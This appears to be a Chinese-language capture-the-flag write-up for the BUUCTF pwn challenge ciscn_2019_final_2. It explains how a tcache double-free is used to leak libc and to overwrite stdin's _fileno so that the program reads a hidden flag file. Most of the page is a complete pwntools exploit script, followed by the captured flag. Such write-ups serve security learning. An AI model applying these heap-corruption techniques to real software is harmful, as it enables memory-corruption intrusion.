【BUUCTF】Pwn--Ciscn_2019_final_2

一道修改 _fileno 的题,不是很常见

Description:

nc pwn.buuoj.cn 20231


Solution:

程序在开始运行时有一个init函数,里面使用了dup函数更改了 flag 文件的 fd 值

又在菜单的最后一栏看见有一个退出函数bye_bye函数
在里面还需要输入点什么东西才能退出

然后昨天我才知道 _fileno 是用来规定 fd 所指向的文件流的

所以我们只要想办法把 stdin 的 _fileno 改成 666 即可
这样在之后 scanf 就会将 fd == 666 的内容输入到&v0
然后我们就可以输出 flag 的内容了

Image

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
p = process('./ciscn_final_2')
# p = remote('pwn.buuoj.cn', 20231)
elf = ELF('./ciscn_final_2', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


def add(add_type, add_num):
p.sendlineafter('which command?\n> ', '1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))


def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))


def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))


add(1, 0x30) # [总 size == 0x30]
remove(1) # [恢复 chunk0-1]
add(2, 0x20) # [总 size == 0x50]
add(2, 0x20) # [总 size == 0x70]
add(2, 0x20) # [总 size == 0x90]
add(2, 0x20) # [防止 unsorted bin 被合并]
remove(2) # [tcache dup-1,进入 tcachebin 0x20 链表中]
add(1, 0x30) # [恢复 chunk0-end]
remove(2) # [tcache dup-end,进入 tcachebin 0x20 链表中]
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size) # [跳到 chunk0 的 prev_size 位]
add(2, addr_chunk0_prev_size) # [在当前堆块填数,随便填]
add(2, 0x91) # [修改堆块的 size 位为 0x91,tcachebin 0x20 链表的 count 变为 -1]
for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1) # [经过前 7 次释放,这次的释放会出现 unsorted bin]

addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70

add(1, addr__IO_2_1_stdin__fileno) # [总 size == 0x30,写入 chunk0]
add(1, 0x30) # [总 size == 0x60,写入 chunk1]
remove(1) # [tcache dup-1,进入 tcachebin 0x30 链表中]
add(2, 0x20) # [总 size == 0x80,unsorted bin 被填满]
remove(1) # [tcache dup-end,进入 tcachebin 0x30 链表中]
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd) # [跳到 chunk0 的 fd 位]
add(1, addr_chunk0_fd) # [在当前堆块填数,随便填]
add(1, addr__IO_2_1_stdin__fileno) # [因为之前的写入,此 fd 可以指向 _fileno]
add(1, 666) # [修改 _fileno 的值]
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')

success('addr_chunk0_prev_size is ' + hex(addr_chunk0_prev_size))
success('addr_main_arena is ' + hex(addr_main_arena))

print p.recvuntil(' we have received...\n')[0: -21]

Flag:

1
flag{78fcd8df-3597-4dbe-88e5-90d37eba520e}
文章目录
  1. 1. Description:
  2. 2. Solution:
  3. 3. Flag:
|